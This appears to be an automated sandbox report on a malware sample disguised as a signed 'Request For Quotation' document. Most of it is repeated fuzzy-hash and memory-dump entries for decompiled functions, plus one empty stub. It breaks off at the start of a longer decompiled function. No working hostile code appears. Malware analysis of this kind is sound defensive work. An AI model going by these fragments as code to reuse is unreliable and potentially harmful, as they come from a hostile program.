Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d46a8c3561c0061450ec8d3060f9319e5852f2d697092ad9bf6925b0a9fa3d5
Instruction ID: 1ab10b6d8c7f1f42fd00fa15a38bab2703b631f0cb110e1dfcdb36a5384dfb10
Opcode Fuzzy Hash: 5d46a8c3561c0061450ec8d3060f9319e5852f2d697092ad9bf6925b0a9fa3d5
Instruction Fuzzy Hash: 92F01579910700DECBA1EFA8DA0175436B4F7AC311F20416AB182872EACF744E84CF06

Uniqueness

Uniqueness Score: -1.00%

Function 00ACD380, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: ba208479dcc53a5460b415a32f09ef9d9d56818517b2e74a9cdbc3612f2209ed
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 71E0C231284248BBDB225E44CD01FA9BB26DB507A0F214035FE085E791C6719C91E6C4

Uniqueness

Uniqueness Score: -1.00%

Function 00A12CDB, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2301cbb80807bd86986fb20a83a6222ed7f6f329ba40549649f5f350f115ca8
Instruction ID: a453585f1b0a0c7f1ee75fad64fb0f8768e34daa6f58e27fe87c2105a4855367
Opcode Fuzzy Hash: a2301cbb80807bd86986fb20a83a6222ed7f6f329ba40549649f5f350f115ca8
Instruction Fuzzy Hash: FCE0C232040210EFEB322B24EE01FD67AB1BF00711F20042AF185090B5DB71DCE5DB84

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A185, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0fba446cdc6ebcca364fabe99dc178371775f6f89b56df937341d141b58bd87
Instruction ID: c348001c4db854b0d47a4b6fcd6e22a8c49052cc7f916b3da2cfff008a436a2e
Opcode Fuzzy Hash: d0fba446cdc6ebcca364fabe99dc178371775f6f89b56df937341d141b58bd87
Instruction Fuzzy Hash: C8D02E631A00001AEB2C630A8E24B252792E7E8700F3089AEF1070B9E0DEB0CCF0C10A

Uniqueness

Uniqueness Score: -1.00%

Function 00A953CA, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: 12a62c72ea67533808b44d806469dea0502e8eeff56e0f14eb66a310743b206b
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: 4FE0EC72A44A849BCF13DB99C661F5EB7F5FB44B40F150454B4085F661C664AD00CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00A18410, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a94d7127084d57e92ed2432c90c08e85dbbdc6423f92806dc0015c13ad488f17
Instruction ID: 2c953903fcde7bc3c757004693b157cdf70bfb4c77ed0e3847c138630c2bf6b6
Opcode Fuzzy Hash: a94d7127084d57e92ed2432c90c08e85dbbdc6423f92806dc0015c13ad488f17
Instruction Fuzzy Hash: 1AD0A932040208ABCB11FF0CCE81F0A3BAEEB94740F000024B80887373CE30ED60CA88

Uniqueness

Uniqueness Score: -1.00%

Function 00406AB9, Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AB9(void* __ebx, void* __ecx) {

				return 1;
			}

0x00406ad4

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5809fba4d116cfb4fcf8405dace34551c897690e71c869d46a40af9efaada096
Instruction ID: e6bd5171475123a69b1caf40b190791b3cc0befe520226228abcd9611260360a
Opcode Fuzzy Hash: 5809fba4d116cfb4fcf8405dace34551c897690e71c869d46a40af9efaada096
Instruction Fuzzy Hash: 0DC02B27D5908C01D2100E8CB8E21F0FBF4C307035E0033D3ECC873651C046C4039158

Uniqueness

Uniqueness Score: -1.00%

Function 00A2AAB0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 6ba434ccb07371b9ba1c8f50fba58634840cfaf8100fb03fb0cbac2abff3b8d6
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 19D0C935352980CFD716CB0CC954B0533A8BB54B80FC544A0E400CB721E62CDD44CA00

Uniqueness

Uniqueness Score: -1.00%

Function 00A1DB40, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 635f6ef90c89e2d4020ba3eea852a9bd7bc319aa435d0e032dd7734bb71447e7
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: B6C08C30280A00AAEB221F20CE02B4076A0BB01B01F4504A07301DA0F0DB78EC02E600

Uniqueness

Uniqueness Score: -1.00%

Function 00A33A1C, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: f5c73e6bf860c2da1cd11a5647fed441fb7ad4aa51dbeb05e504adea51e8e919
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 37C04C32180648BBC7126E45ED02F15BB69E795B60F154021B6040A5618676ED61D598

Uniqueness

Uniqueness Score: -1.00%

Function 00A44190, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 175590c6a7dfeeadbeeb5abb91333881fb225fd9a6b890b8f217439b73e8cc0c
Instruction ID: e83db43a40885e197ba0deda289d6934aa428a4841c0f2b020ddd0e463df028e
Opcode Fuzzy Hash: 175590c6a7dfeeadbeeb5abb91333881fb225fd9a6b890b8f217439b73e8cc0c
Instruction Fuzzy Hash: 30C04879751A408FDF25DB2AD384F1A37E4BB44B94F1508A0F805CBB22EB24EC00CA10

Uniqueness

Uniqueness Score: -1.00%

Function 00A42ACB, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: d58dff4e6756ac0b8261d7f28f2a8a20ecf44c5e3bc7f7956483d6be2185caf5
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 98B01233D10450CFCF02EF44D710B197331FB00750F0584A0A00127931C228AC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00A598A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e4aad80b6f760886f8a05041107d150768315d66f759f78f9203afdf1f24ed
Instruction ID: 2987a09630db0fbb9c46f72c800237d71ceae9f12b02d088a42a9a4afa574b3a
Opcode Fuzzy Hash: 60e4aad80b6f760886f8a05041107d150768315d66f759f78f9203afdf1f24ed
Instruction Fuzzy Hash: BB90026170100802D302616A44146060019D7D13C5F91C022E1414555D8A658953F172

Uniqueness

Uniqueness Score: -1.00%

Function 00A598F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c08059c8d39986c266ec3b564c57194cb51267c14ad3a7dc0f58956e59467117
Instruction ID: 2b00c330473683cdcf49ca9035436cfe5893d0128b37f70e722e3af19e02d915
Opcode Fuzzy Hash: c08059c8d39986c266ec3b564c57194cb51267c14ad3a7dc0f58956e59467117
Instruction Fuzzy Hash: 44900261B0100902D301716A4404616001A97D03C1F91C032A1014555ECE658992F171

Uniqueness

Uniqueness Score: -1.00%

Function 00A59820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f64dcea814e90b3ee363067fd54932ab03e4215d539d2d25d5ffc9417fce5d1
Instruction ID: fbf07fed5c314c97f9f0da82b15ff61392bdeb3e5564d40f7f5e34b077a5ba07
Opcode Fuzzy Hash: 4f64dcea814e90b3ee363067fd54932ab03e4215d539d2d25d5ffc9417fce5d1
Instruction Fuzzy Hash: 3B90027174100802D341716A44046060019A7D03C1F91C022A0414554E8A958A56FAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A59840, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76474d9bfab59294fd345966eec180c452a464347f18b5f5857acdd24d0f8e4b
Instruction ID: 477be5eacac807b1c07b371308cb66ba469d016b1b3fba5179a1500f9858a7c3
Opcode Fuzzy Hash: 76474d9bfab59294fd345966eec180c452a464347f18b5f5857acdd24d0f8e4b
Instruction Fuzzy Hash: 58900261742045529745B16A44045074016A7E03C1791C022A1404950C89669856E661

Uniqueness

Uniqueness Score: -1.00%

Function 00A5B040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26fb3d24b78f9b938cec50c11c95e41693eb5b2a5b75fd9e30cd05276294299a
Instruction ID: 234e8582c2fb9eb70209d30951ff7538bc5bfe90bac8e160eff6fa2f2a2a888b
Opcode Fuzzy Hash: 26fb3d24b78f9b938cec50c11c95e41693eb5b2a5b75fd9e30cd05276294299a
Instruction Fuzzy Hash: 049002A1B01144438740B16A48044065025A7E1381391C131A0444560C8AA88855E2A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A599A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c00a2ce4298465445edb11e9c75c85e19878800e0dbb6b9d4f21566e1803aea2
Instruction ID: 1fbeb9f4a196265c319d83f7f7a73e095c4030bce710e7cf97b14c271c05598e
Opcode Fuzzy Hash: c00a2ce4298465445edb11e9c75c85e19878800e0dbb6b9d4f21566e1803aea2
Instruction Fuzzy Hash: 229002A174100842D300616A4414B060015D7E1381F51C025E1054554D8A59CC52B166

Uniqueness

Uniqueness Score: -1.00%

Function 00A599D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ca3248f921ef603c34cfc816ddda64cd90bd57a6fdb2971999981bf78ef902e
Instruction ID: 10a62ad981d118d3940a345dbd293e87c4edc8aac5d06c020b2afdbfb37a0973
Opcode Fuzzy Hash: 6ca3248f921ef603c34cfc816ddda64cd90bd57a6fdb2971999981bf78ef902e
Instruction Fuzzy Hash: 239002A171100442D304616A4404706005597E1381F51C022A2144554CC9698C61A165

Uniqueness

Uniqueness Score: -1.00%

Function 00A59910, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936d5bd431cf65b5440d1e8f2c05715cab3582f30257bc2d7c5389eb7797b1f1
Instruction ID: 5051a8728ddcd3ddaff522636ca02e390124de473acfd13d3dc867be3d27cc7d
Opcode Fuzzy Hash: 936d5bd431cf65b5440d1e8f2c05715cab3582f30257bc2d7c5389eb7797b1f1
Instruction Fuzzy Hash: DD9002B170100802D340716A4404746001597D0381F51C021A5054554E8A998DD5B6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A59950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e0f9e066e508c46e8047d538309b0a840d095bb578d692499aedce38a359973
Instruction ID: 4954d17c2f9378b758a3b5ca8e1d7671be1f4eeac5a586474417945619f66b66
Opcode Fuzzy Hash: 3e0f9e066e508c46e8047d538309b0a840d095bb578d692499aedce38a359973
Instruction Fuzzy Hash: 029002A170140803D340656A4804607001597D0382F51C021A2054555E8E698C51B175

Uniqueness

Uniqueness Score: -1.00%

Function 00A59A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 800ce9d9047692d8d2dda0717ccc7fb0c2198e930e2e6fbcdc4ba168c4e1f4f9
Instruction ID: d1ee7f42166413eceb4b3480bd9dcba90b6aec5323cd8be0f8e646ef54207a21
Opcode Fuzzy Hash: 800ce9d9047692d8d2dda0717ccc7fb0c2198e930e2e6fbcdc4ba168c4e1f4f9
Instruction Fuzzy Hash: 2D90026170144842D340626A4804B0F411597E1382F91C029A4146554CCD558855A761

Uniqueness

Uniqueness Score: -1.00%

Function 00A59A20, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d87454f5c46e5fae9c03f0ee6a79da31d78d625c62e16acc8297979d1d2ccc2
Instruction ID: 30ebf4fa561121fd242759a935b580e6bdf509c03ba0b502e53968c5a268aa1f
Opcode Fuzzy Hash: 8d87454f5c46e5fae9c03f0ee6a79da31d78d625c62e16acc8297979d1d2ccc2
Instruction Fuzzy Hash: 70900261B01004428340717A88449064015BBE1391751C131A0988550D89998865A6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A59A00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2874a4afe4d6c3c55638502c95c54242dc153b9df6319b867c8b7d54638b4f9
Instruction ID: d708d50572dabf77037ba65f7d06f9c39b79d4fd425a6ffc4f606378db7112e4
Opcode Fuzzy Hash: f2874a4afe4d6c3c55638502c95c54242dc153b9df6319b867c8b7d54638b4f9
Instruction Fuzzy Hash: 7D90027170140802D300616A481470B001597D0382F51C021A1154555D8A658851B5B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A59A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18e9ba019d475bd8cb16a1faccc91c10b72edb77762ae418476394c6ed300a9
Instruction ID: d067022e2a3dfbf548bc426806e11add1ef2d9ca10c17205a9679639b00347c1
Opcode Fuzzy Hash: b18e9ba019d475bd8cb16a1faccc91c10b72edb77762ae418476394c6ed300a9
Instruction Fuzzy Hash: 7E90027170140802D300616A4808747001597D0382F51C021A5154555E8AA5C891B571

Uniqueness

Uniqueness Score: -1.00%

Function 00A59A50, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500c44e3be1ebae3b88be177c01495a81812d1b5c42fe38173ded41edabcfa49
Instruction ID: ae95439018a33f882898933aeccbda1d1cead807cff01d8db03f8af9d688d9e4
Opcode Fuzzy Hash: 500c44e3be1ebae3b88be177c01495a81812d1b5c42fe38173ded41edabcfa49
Instruction Fuzzy Hash: 5A90026171180442D300657A4C14B07001597D0383F51C125A0144554CCD558861A561

Uniqueness

Uniqueness Score: -1.00%

Function 00A5A3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c132fa9284f0021c083b27fe69938f287d6f268bf79eb8103df188d84bf3a515
Instruction ID: cfe3fe6c173d850b86605dbf53a6e5b25a3fa50c7ad28b969efdcdd43e74d0a8
Opcode Fuzzy Hash: c132fa9284f0021c083b27fe69938f287d6f268bf79eb8103df188d84bf3a515
Instruction Fuzzy Hash: 6590027170144402D340716A844460B5015A7E0381F51C421E0415554C8A558856E261

Uniqueness

Uniqueness Score: -1.00%

Function 00A59B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bde3052fe203b7a167b71130aa9e3354b75887ff905c39edf727be5cfd1bd38
Instruction ID: 3459cbfbc7aab1563a6ebbf1177803b6d0751a19783d8bf6eaf773831e8e53b0
Opcode Fuzzy Hash: 0bde3052fe203b7a167b71130aa9e3354b75887ff905c39edf727be5cfd1bd38
Instruction Fuzzy Hash: DA90026174100C02D340716A84147070016D7D0781F51C021A0014554D8A568965B6F1

Uniqueness

Uniqueness Score: -1.00%

Function 00A595F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bea75ebc9da8c6a2125dc3f62a5fe902fa6d102cc961afd9e8da8918316a6e2
Instruction ID: 6b3ca22e77d4bd3477dd109b217c8f52dcc50bc9beb1f9bb74c55d572ab12bc0
Opcode Fuzzy Hash: 7bea75ebc9da8c6a2125dc3f62a5fe902fa6d102cc961afd9e8da8918316a6e2
Instruction Fuzzy Hash: 0C90027170100C02D304616A4804686001597D0381F51C021A6014655E9AA58891B171

Uniqueness

Uniqueness Score: -1.00%

Function 00A595D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbfb9f5feffeaa7b535b183bf9533fa37e7865cb3050d168e73e5a9c89fe1301
Instruction ID: 97a5fda23c1b24338368ea9b93c6915b1a90db8d41c29f0a2ca1da82ad4ff69c
Opcode Fuzzy Hash: fbfb9f5feffeaa7b535b183bf9533fa37e7865cb3050d168e73e5a9c89fe1301
Instruction Fuzzy Hash: 279002A1702004038305716A4414616401A97E0381B51C031E1004590DC9658891B165

Uniqueness

Uniqueness Score: -1.00%

Function 00A59520, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6581b85d77039e89b4aea0b02294e17518592b074e8a8171633796c24ed1b353
Instruction ID: fa225c09a8c54b6297f979ee1cfb6aee42d67295d01245fcfd58633eab68ce8c
Opcode Fuzzy Hash: 6581b85d77039e89b4aea0b02294e17518592b074e8a8171633796c24ed1b353
Instruction Fuzzy Hash: 379002E1701144928700A26A8404B0A451597E0381B51C026E1044560CC9658851E175

Uniqueness

Uniqueness Score: -1.00%

Function 00A5AD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f25a4a2142aeb4b5e4b9dd9d50ae8b77f69d57d34cbd5371cc0299565fb7e2
Instruction ID: c8abd851870ab20bc8f00d6b9e488a078dddcdceab4df3342e0e5bf30f5e3a79
Opcode Fuzzy Hash: 14f25a4a2142aeb4b5e4b9dd9d50ae8b77f69d57d34cbd5371cc0299565fb7e2
Instruction Fuzzy Hash: 2A900271F0500412D340716A48146464016A7E07C1B55C021A0504554C8D948A55A3E1

Uniqueness

Uniqueness Score: -1.00%

Function 00A59560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2afe2c7116240338c62344602576931ca384eeb62837b59f9297fe910b2c6270
Instruction ID: 868514365295cb7cfd5769f473376d420ef09cbff1c2c59905cef55dc6045a6c
Opcode Fuzzy Hash: 2afe2c7116240338c62344602576931ca384eeb62837b59f9297fe910b2c6270
Instruction Fuzzy Hash: FD900265721004024345A56A060450B0455A7D63D1391C025F1406590CCA618865A361

Uniqueness

Uniqueness Score: -1.00%

Function 00A59540, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fce2cec09b9c17aa8ba3fee7f6746af26cbcdbd32e5d25265f79c6b781eed8d
Instruction ID: 3c2fbcffac64722869632978d3dd2c1f220107397aff334f17e908825ffe6250
Opcode Fuzzy Hash: 9fce2cec09b9c17aa8ba3fee7f6746af26cbcdbd32e5d25265f79c6b781eed8d
Instruction Fuzzy Hash: C9900265711004034305A56A0704507005697D53D1351C031F1005550CDA618861A161

Uniqueness

Uniqueness Score: -1.00%

Function 00A17CC0, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00A17CC0(intOrPtr* _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _t60;
				signed int _t65;
				void* _t70;
				void* _t73;
				signed int _t86;
				void* _t92;
				signed int _t94;
				intOrPtr _t101;
				signed int _t102;
				intOrPtr _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t115;
				intOrPtr _t116;
				signed char _t117;
				void* _t118;
				intOrPtr* _t120;
				signed int _t121;
				void* _t122;

				_t101 = _a8;
				_t120 = _a4;
